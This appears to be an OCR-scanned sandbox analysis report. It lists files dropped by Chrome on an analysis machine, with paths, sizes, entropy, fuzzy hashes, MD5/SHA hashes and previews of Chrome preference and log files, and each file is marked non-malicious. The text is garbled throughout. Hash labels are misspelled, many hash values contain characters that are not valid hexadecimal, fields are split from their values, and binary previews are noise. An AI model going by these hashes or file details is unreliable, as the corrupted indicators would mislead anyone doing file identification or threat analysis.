SHA1L: CF3EF59C3940B58C314E9F6A1616751553F2D9A2

SHA-256: 647D07F37554672865902B2CEE80864B5A5283C372C7263BB1497D5582054E57

SHA-512: 47CFEDB1FDBC9BC09905C70F69A5114C64A8FC791BCA480D24972275276F00CEB230C579B4217337F9C69ECB2AB3221A3B549F06E8074D76BCE2F31773FB69F
Malicious: false

Preview:

et p..
. +.0-8&]P>/"Q?-"&:?1.1;<

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\a508464e-0920-44e2-bc96-581f1b293411.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

2724

4.858441642519087

false

48:YXsPMHi5s7MHgKsSMH/zs8MHIs51tFsL6zsbWsdCshDysuMHCLSKMHIswIMHIY hj:XGiIQGBGFGJ12LLHDwWGYGKGihj
9EOC31BCE1C83C78981EB86A29E2879B

3973E5D4DA1BC0OBB99B78D1DFA7BEA045C85E173
3D1BDA968D1CFF79DBD0OC4BID2A22367E9D9IB8374622CD4263BD39137D8FES84

D196B2993F4A46AFFD38DBA59866B048221D5CF6EAB1574846D1799B748BD71B09BE28D8154B16D97AEA300C7EE13719DC2E5034EC9D8913C6A6B399BDEBC2
E

false

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248544495618845""port":443,"protocol_str":"quic"}],"isolation":
[1,"network_stats":{"srtt":31528},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"132485443456243
05","port":443,"protocol_str":"quic"}],"isolation™:[],"network_stats":{"srtt":26637},"server":"https://clients2.googleusercontent.com"”,"supports_spdy":true},{"alternative
_service":[{"advertised_versions":[],"expiration":"13248544345531701","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":53820},"server":"https://w
ww.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248544345601356","port":443,"protocol_str":"quic"}],"isolation":

[1,"network_stats":{"srtt":36228},"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"exp

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\b17661c1-e22d-45e1-a571-1ef426e93c45.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

875

5.562096707946356

false
24:YUBHOUhvrRIG1KUevEhUeT7NEaVh7wU3RUevxQ:YU6UUhveKUevGUexwUhUev2
83E7EB16DFEFF58B94117F603345B66A
9D4DD375D9E29BE7667FCA199322A5C122E035E9
6A285CCDBFF1E8A95CEE192D53804D936C1D30CECOF5233FFAD6BF2CD4E7015D

CF98E43FC8FB94DCE3D21D94B4D7C66EAG6CD5709CC7B59076937A79F7D9034E16EAOFC5EEOA6DDEOADGSAFD1B4B474110DE24F5840E8661F40DB09BO0EESS
59
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\b17661c1-e22d-45e1-a571-1ef426e93c45.tmp

Malicious:

Preview:

false

{"expect_ct":[],"sts":[{"expiry":1633014895.618904,"host":"OuKIWsMW1dkkbl1X/0i600Y95ZNSWnSoeal XAEYPIv4=","mode":"force-https","sts_include_subdomains"
:true,"sts_observed":1601478895.618908},{"expiry":1633014895.522238,"host":"nAuqgR4iEWti7SOdT3UHPI6rmZU/Dealm38P2020kgA=","mode":"force-https","sts_in
clude_subdomains":false,"sts_observed":1601478895.522241} {"expiry":1633014902.981094,"host":"SEdU0B7YUY9zZV+2DkgVXgho8WUvp+D+6KpeUOhNQIM=",
"mode":"force-https","sts_include_subdomains":false,"sts_observed":1601478902.981097},{"expiry":1652416428.039008,"host":"8/RrMmQICD2Gsp14wUCE1P8r7B2C
5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1620880428.039012} {"expiry":1633014895.739906,"host":"+ccWXgaoHJ
9hfuXbleKV6FQUrBIyXAJ31BdgjNQJpHs=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1601478895.739909}],"version":2}

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\d5ab90be-28dd-4ddf-8094-3f5428c06fae.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

5223

4.980569244781898

false

96:nC3hbo/2pYVvOik0JCSERBYRWL81bOTQVuwn:nmhe2pYok4D/YYu
197C374ACF842C0255BA8BE46A6EB288A
10928E5345E1D3A0DF2414AFCOFDC343CBC6077F
AB9502601EFASEF168E1225B0F81D02C1D5583492C3CEC4E9464035450526006
61A9D0C9018114B4396318813D0C196B111BOF6E2EE73F11805103C8C58E02D3547F676BFF5F4DB68209ABEASAS53853EEAA7OCBEA2F590DC3A0B7224E335C1B!

false

{"account_id_migration_state":2,"account_tracker_service_last_update":"13265354025024061","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245952329814949","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser

_infobar_last_declined":"13245952502420488","has_seen_welcome_page":true,"navi_onboard_group":","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length™["0","0","0","0","0 'o","0","0","0","0","0","0","0","0","0","0","0","0","0","0 0","0","0"
,'o","0","0","0","0","0","0","0",’ "7355952"],"daily_received_length":["0

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

16

3.2743974703476995

false

3:1sjgWIV//Rv:1gIFJ

6752A1D65B201C13B62EA44016EB221F
58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

9CFD838D3FB570B44FC3461623AB2296123404C6C8F576BODEOAABD9AG020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EESB77D6DF7C344A0AA030E0!
89

false

MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

139

4.5047166073192875

false
3:tUKCqjB/XWZmwv38qvUGAA7V8s8gABAA7TWGY:mXgBXWZmwP8gvUmVv8qghtv
2C3542AFF2A5E7E4694872CC418717CC
0A2BF9BOA7DC87AEAB70E4ABSEE1BFAG8B19A6ES
B41933C12CF7638E53E6421436C799D6BEB6714773398B8B2B794A0920BF43A6

6C587ABOE4AB64633B25DB855E54877578CEB283BCE7ECC3C3DAB3C53CA4E834B46ES5E7AB15761DF3A8B442A2A952C0DA7A17FBEF5454E4E696DCASF98567
CAE

false

2021/05/12-21:33:56.755 1a3c Recovering log #3.2021/05/12-21:33:56.817 1a3c Delete type=0 #3.2021/05/12-21:33:56.818 1a3c Delete type=3 #2.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000004

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Google\Chrome\Application\chrome.exe
MPEG-4 LOAS

dropped

50
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000004

Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

5.028758439731456

false

3:Ukk/VvxQRDKIVmt+8jzn:007t8n

031D6D1E28FE41A9BDCBD8A21DA92DF1
38CEE81CB035A60A23D6E045E5D72116F2A58683
B51BC53F3C43A5B800A723623C4E56A836367D6E2787C57D71184DF5D24151DA

E994CD3A8EE3E3CF6304C33DF5B7D6CC8207E0C08D568925AFA9D46D42F6F1A5BDD7261FOFD1FCDFADF1A173EFAE1S9EE1IDES125E54EFEE488A1220CE8SAF
04

false

Voo leveldb.BytewiseComparator.. #...........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f9182975-8283-4bdc-a797-8e298bd0f47f.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

22596

5.536236081725009

false
384:qPPtwkLIDpXN1kXqKf/pUZNCgVLH2HfDYrUXHGHNTDZVx4y:cLIBN1kXgKf/pUZNCgVLH2HfGrU3GHNL
C2BFCD08642EDOE85CB485FC60959E7F

0512D55CE726F4B74913CA538EBA580A64F26A7C
D3CF7EA65C3F5734BDEEDFF035D3AFF20558A6C79F7462098941BC2E0C6E3A8C6

04EACEO02BFC174E23EEC9725794EBC4096C52732A50AE875EAL0AABGB2E1676FFIEL1F72E3505F113D091A7D55A0A9507C500BEC1311482B5D82057B4DB201DLC
2

false

{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","sy
stem.cpu”,"system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":
[1,"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13265354024679965","location":5,"manifest":{"a
pp":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and
themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGIMAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQCt
13tO00sjuzRsfExtD2SKxPITfuoy7AWoObysitBPVH5fE1INaAAL/2JkPWkVDhdLBWLalBPYeXbzIHp3y4Vv/4XG+aN5qFE3z+1RU/NgkzVYHtlpVScf3DjTYtKVL66mzVG

ijSOAIWbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYWQIDAQAB","name":"Web Store","pe

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

346

5.1645626491208025

false
6:mXKVVq2PcNwi23iKKdKfrzAdIFUtp80OgZmwP8gSIkwOcNwi23iKKdKfrzILJ:sKfvLZ5Kk9FUtp8j/P8M54Z5Kk2J
3B14B841B732A36034565F8362CDOCBC

799540A7TEC4E17D8C4F17D163017E8BB513E07B2
5E08353957016F097A2B315A10CFEG4E4A31459826BE29FB33FC04AF8419E11E

91FC123934E1F2DE1B71D745F0OCBCF1FA6A116626F0980775BCE90FC53F72E25418907E62AAAD4ACD519A39C0ESDFO5E4D63C762A2C0C0816EACAIFCF87535F
3

false

2021/05/12-21:34:02.380 1810 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.202
1/05/12-21:34:02.382 1810 Recovering log #3.2021/05/12-21:34:02.383 1810 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_prot
o_db\metadata/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User DatalLast Browser

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

106

3.138546519832722

false

3:tblolIrI51dQxI7aXVdJiG6RORIALtbdIrnQxZaHIGiOR6!
DE9EFOC5BCCO012A3A1131988DEE272D8
FA9CCBDC969AC9E1474FCE773234B28D50951CD8
3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

CEA946EBEADFEGBEGS5E33EDFF6C68953A84EC2E2410884E12F406CAC1EGC8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

false
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C:\Users\luser\AppData\Local\Google\Chrome\User DatalLast Browser

Preview:

C..\.P.r.o.gram. .Files\G.o.0.gle\Chromel\Ap.p.licatio.n\chrom.e..ex.e.

C:\Users\luser\AppData\Local\Google\Chrome\User DatalLast Version

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

13

2.8150724101159437

false

3:Yx7:4

C422F72BA41F662A919EDOB70E5C3289
AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632
02E71EB4C587FEB7EEO0CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59
86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC4!

false

85.0.4183.121

C:\Users\luser\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

296

0.45488079341118026

false

3:8EflT21/:8j/

5E05877B972C2FF59AAA0498F36E795A
8EFC0674ABD1F7B1CB79066C273DF25B5744ABD9
423412C18CDD741D8EA369AD812360BAF69A3034DA347F5446311B28A684D3FA
E9BBEC1E98350B06F5BAE09564594FF393BC8B8E10768F38EE324632B450BD6035A9BAF7F4702D458A6B0OD90040EC6D06431ACB2A42393B76CO0CAS57D5F3787E

false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\27\9.22.0\Indexing in Progress

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

empty

dropped

0

0.0

false

3

D41D8CD98F00B204E9800998ECF8427E
DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2BOFF8318D2877EEC2F63B931BD47417A81A538327AF927DA:

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Subresource Filter\indexed Rules\27\scoped_dir6060_286183015\Ruleset Data

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

208920

4.964307261909652

false
3072:9zChBJeloN++/mYWcT8WSkb1RgmYb8zpoPo/smfgbpxTOCO0oUBXrvzpnuidAut:5clEHRAqggCyIW1
A96F63877D2B8648563905C60513B9F0

EE63F5F68E176DCEAB8416C9877F09533C4E5498E
B5A3D515B1673D134B197878D681C0CC8290BC476EB6IDEIEF27FFI669EC2ES0
C137035D92E4161FF55AF447D61F7F61E9FB8812EFOD32649011A6D7A07AEBA317B4197CF0205B37B755FACF7ALABCA586507A1B825BC2FD4194E8306DB4E00¢

false
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\indexed Rules\27\scoped_dir6060_286183015\Ruleset Data

Preview:

C:\Users\luser\AppData\Local\Google\Chrome\User Datalae72064e-d84f-4154-affb-7be4e0884d2a.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

160612

6.050710387140603

false
3072:DSKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcl8XIssEIYTRI:DSIpVS0sB8grgbV/njhcl8II6RI
D405588FA069E77811FB5509D520988E

3CF75B20DE6D6F24A620AE2EC60EE4924B4B517B
123CE9A1F28B94692E5CEC40965F66C1B54A71A356ECAE4D091A1D39254A27DF

A479CF7BDA04E86F4634F030D0A9FCC621251AD78EB2C9AESDDOED2405E5CBBC41E635213A98C53B07DBF4072935DEA0217C54973FC35380A676E086EB2E7D
C

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0,"uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAJGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbBNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJ9JzO9md9VO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909706750"},"plugins":{"metadata":{"adobe-flash-player":{"displ

C:\Users\luser\AppData\Local\Google\Chrome\User Data\e0057403-b905-471f-bb91-219abdd90a81.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

95428

3.749317559672299

false
384:BHdySsPZkvMSVn521NKr/v+G3tGkZHOtGRYrzQSUxb511QbrD6xmvbpzgg2WVOg0:t6mRxCSZx82SQef8a70s/DWmKs2WBY
8A43E2DE0308F6317FBD3DBCFOD7354B

26B2BB7F3A4869DD2839F27D1C89884783848C0OE
6D257B22862759923CD205858421DF6405365773EBC64544E97D4EFOB023AEGS
6A8B678AA51853003BA6D05ACE642C36C2D080F48F40C319677A86ED2B0437520AD835390F68DF652B4C3A124B990894AB4D4649740FD06888A439FB3EDA2AD3E

false

L SO ...C..\.P.R.0.G.RA~1\M.I.LC.R.O0.S.~.1\.Offic.el6\GRO.O.VEEX.D.LL.PL.)..%.p.r.o.g.ram.files.%.\m.icro.s.o.ft .officelofficel6\..
..g.ro.ov.eex..dll..Micros.oft .Offic.e..2.0.1.6..*..M.i.cr.o.s.0.f.t. .O.n.e.D.riv.e. for. Bus.iness. Exte.ns.ions...16..0..4.711.10.0.0...*
...C..\\P.R.O.G.RA~1\M.I.C.R.O.S.~.1\.0.ffic.e.l.6..G.R.O.O.V.EEX.D.LL...Micro.s.o.ft .C.or.p.oratio.n..98.D..C..\P.ro.g.ram. .F.iles\C.o.mm.o.n.
.F.ile.s\M..cr.os.oft .S.hared\O.FF.ICE.16\ms.0os.hext.dlLl.@...U..%.c.0omm.o.n.p.r.o.gram.files.%.\m.icro.s.o.ft shared\officel6b\...
.m.s.o.s.h.ext..dll..M.icro.s.o.ft .Offic.e.)..Micro.s.oft .O.ffice..Shell Extens.io.n. Handlers....16..0..4.26.6..1.0.0.1....D..C..\.P.r.o
.g.ram.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\f2feb858-2eb1-4c03-bc4f-4b5eeb8701bc.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

160696

6.050871159068144

false
3072:DaKvLzMCF4+0Bz0sFSePkgVtuA7LA7bV/nYorVcl8XIssEIYTRI:DalpVS0sB8grgbV/njhcI8II6RI
69E721DD5415A9FCEBA9C64761FCAD26

1A9508D0E03A1FC92DBE5S0979EFC2BE09A58D634
5E99BD8944749F9EBID56250E7283DF4614A7E506AF1EFC2A4C730B2F6CADESC
46F4C8E68356607079905328A80AFADFF7E408E3E368DA560C960077E71258EB80FD2B399A99C81F829AC62D275810CA585713D4AF0F084A573FA7297F91BFOD

false

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"use
r:{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"network_time":
{"network_time_mapping":{"local":1.620880427930009e+12,"network":1.62084803e+12,"ticks":110903550.0, "uncertainty":4818404.0}},"os_crypt":{"encrypted_key":"RFB
BUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAADSYRpYXHTVR0045wUdDOXCAAAAAAIAAAAAABBMAAAAAQAAIAAAABLbexqB/OEXTFIMPCENOVX+bVETIkvicZM
f30IBvp2bAAAAAABAAAAAAJGAAIAAAAADIGGQLQMHYGBYMKKDuUdOpZA89StPbsfruagqGAbNSOMAAAALDWaloNNJIZN9rwnlUg/XLN9khJI9JIzOmd9OVO4rX+Yg+
g8mRS88ENIg3B2TpBY YNjWKkAAAACdQYw45aj+S/8dGnDKVRWon1T/sv/0i6HXgLXg0l1kMUaef/c6zgkTQ7ehiG3nkSfg6dR/401ZLALr+MYbEZ2"},"password_manager":
{"os_password_blank":true,"os_password_last_changed":"13245951909706750"},"plugins":{"metadata":{"adobe-flash-player":{"displ
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\f818fcdd-bde4-4d26-81c0-0ac5e3192a23.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

92724

3.7487722495202234

false
384:nHdySsPZYMb21NKr/v+G3tGkZHOtGRYrzQSUxb511QbrD6xmvUzgq2WVOgEMNQS2:PmRxCSZxF2SQef8a70s/DWmKs2WBK
666ABE3C1898E92F918B935A413949E0

71E2E182F0B30D8B025ED902B8220C5BC1BFBBAC
4C56052E9EE2601BC603DCO9DA26E65CIADA6FF75E25BEB102B25606EB662D73

003A3255DCB2FBAF5E0C75CAE1A451EFO3C9C547E8EA78058694E52AA15739EEBEBOCEG196F5707A1F1B59931D6ES1E19A9F8F5C5D9F6C906D321E3CELIDAF1I
C

false

.g.r.o.o.v.eex.dll..Micros.oft .Office..20.1.6..*.Micr.os.o.ft .O.neD.r.ive. .for. .B.us.ines.s. .Exte.ns.io.ns....16..0..47.11.1.0
.C..\\P.R.O.G.RA~1\M.IC.R.O.S.~1\0Offic.e.l.6.\G.RO.O.V.EEX.D.L.L...Micro.s.o.ft .C.orp.ora.tio.n..98.D..C.:\P.ro.g.ram. .F.iles\C.0o
.m.m.o.n. .F.iles\M..c.r.o.s.0ft .S.hared\O.F.FICE.16\ms.0shext.dl.@...U/..%.comm.o.n.p.ro.g.ramfiles.%.\micro.s.o.ft .share.d\o.f
fic.e.l6.\...ms.oshext.dll..M.icros.oft Office.)..Micros.o.ft Offic.e. .Shell Extens.io.n. Handlers....16..0..4.26.6..1.0.0.1....D..C
\.P.ro.g.ram.

C:\Users\luser\AppData\Local\Temp\0b9fal5e-48be-40e3-968c-22a9608503bb.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

Google Chrome extension, version 3

dropped

248531

7.963657412635355

false
3072:r+nmRykNgoldZ8GjICiIUXZSk+QSVh85PxEalRVHmMcld9R6YYfEp4ABUGDcaKkirv:k30F4Z4h45P99FId9RBQYBVcaxInfL
541F52E24FE1EF9F8E12377A6CCAEOCO

189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6
81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AALIA78BCACFAS7DGE763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

false

Cr24......c..... 0.."0.. % H.o O \7c.<........ Fto.8.2'5..9k...%....2...C.F.9.#4..e.xQ....... [..L]..3>ui T 7. (yM.L?2V.<?. . la..07d.....A.H..."MpB..T.m..Vn Ip..>k.|1..n.
<Fb..f.*Q1.....s..2..{*6....Pp....obM..1....... bl.....(uN'z.....v.F.W.X4."-*eu...b......... \.FL.b..I5...2J.q....... L]....w[T0.6....E....1.%Z.vFm.9..5!,.~g5...;.t... ... +A....u...k...e.&
LLerfyu..%. f...... N.V...<+..L}p{.z.)y.n.)......b...5.08K%..0.9..D.S.F50..<(...>.. \f.X..l.2."..w... 7fl.~.c.4.E.....0..0..* H..........0.......)..b.*$W\$.q&.]zF _2..;...2.U,..

W.LL1.2. R.#..W....cIKSW..$.J... #MLHZ.N U.ON.|b.l... { K@]6.LIP/... ](A..
@?v.;~..2..c...[O0Y0.. * H.=...* H.=...B. r..2.4Y.1.k.bRj5SI..8......H".-L..".

) HLQuy MG ix #2982, 0K LS. Y L %Ky 0L {0 20 (6
=..kP.L.1..

C:\Users\luser\AppData\Local\Temp\6060_1433635150\manifest.fingerprint

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

66

3.866533712632772

false

3:SpUCQEd2dg8ebEIJW2GNnHR:SXQ5Y88EJeR
423CB83A2A3B602B0AA82B51B3DA2869
58BC924AF90A89CE87807919F228FE6CI15AD854
0047059C732D70AF8C2F407089237F745838A0FE4F75710ABF1E669B81243E9C
FB0E9B5D544894A667F74CFD0OA4D784311299DB080CA6793AABD93BISCF1E2870F74AD38A6386D862580220047F828457240577335C565B7F38B0C6677811660

false

1.ffd1d2d75a8183b0a1081bd03a7celd140fded7a9fb52cf3ae864cd4d408cebd

C:\Users\luser\AppData\Local\Temp\6060_1528595143\manifest.fingerprint

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

66

3.89429824295036

false
3:SRWGXyUtz24TSXhV6DDt5SWBG9EBN:SGGXyA5kDoDt5WwaBn
7FB6C0307DFC7235990A87216D6EFE79
9C86024DE6EE647227E73C5905468DBIC31D8447
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C:\Users\luser\AppData\Local\Temp\6060_1528595143\manifest.fingerprint

SHA-256: F01B98701AE70087F82AAC256AB3ECFB736F4865B7DF915051C7D5B1C51BA78E

SHA-512: AC7106F2503DB666C4B3A382587CIDAE424CC5692D75E555D1F6BCOE4F4B3A360B82C1C356D06E4F607EA40206699191F5F206979E67B9614F1DE2073D5BOEA4(
Malicious: false

Preview:

1.4dcc255c0d82123c9c4251bb453165672ea0458f0379f3a7a534dc2a666d7c6d

C:\Users\luser\AppData\Local\Temp\6060_1647436675\manifest.fingerprint

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: modified

Size (bytes): 66

Entropy (8bit): 4.005340674128683

Encrypted: false

SSDEEP: 3:SO0IEEXO/IVXMWWSKHHz: SDEEXktHz

MD5: E70BOAE9369BESAC5CCD0B3245C020DD

SHAL: 49D00C2E3EEF607DCBE6DD4BAC606C3301B487FE

SHA-256: 43FBF29A8F95E2BAE9767C387D3091D4B57A82909C5E4AE38BFFEE36E3C17131

SHA-512: BFCFE24F98C55E61FD1226AD1F01F72468F17C3B126B38C9AFCF25A1F3210D7107E26EECC4DE03072F55FFADF6557C3DD895A610A7415666027DE5126EDED3I
6

Malicious: false

Preview:

1.b910f52ddd8f6121a24d556c6bb054dadae6e00caa812973e83798fh4ac8b392

C:\Users\luser\AppData\Local\Temp\60ee6226-d739-4a2d-9a3d-28fc0efe8032.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:LiL

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1L: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

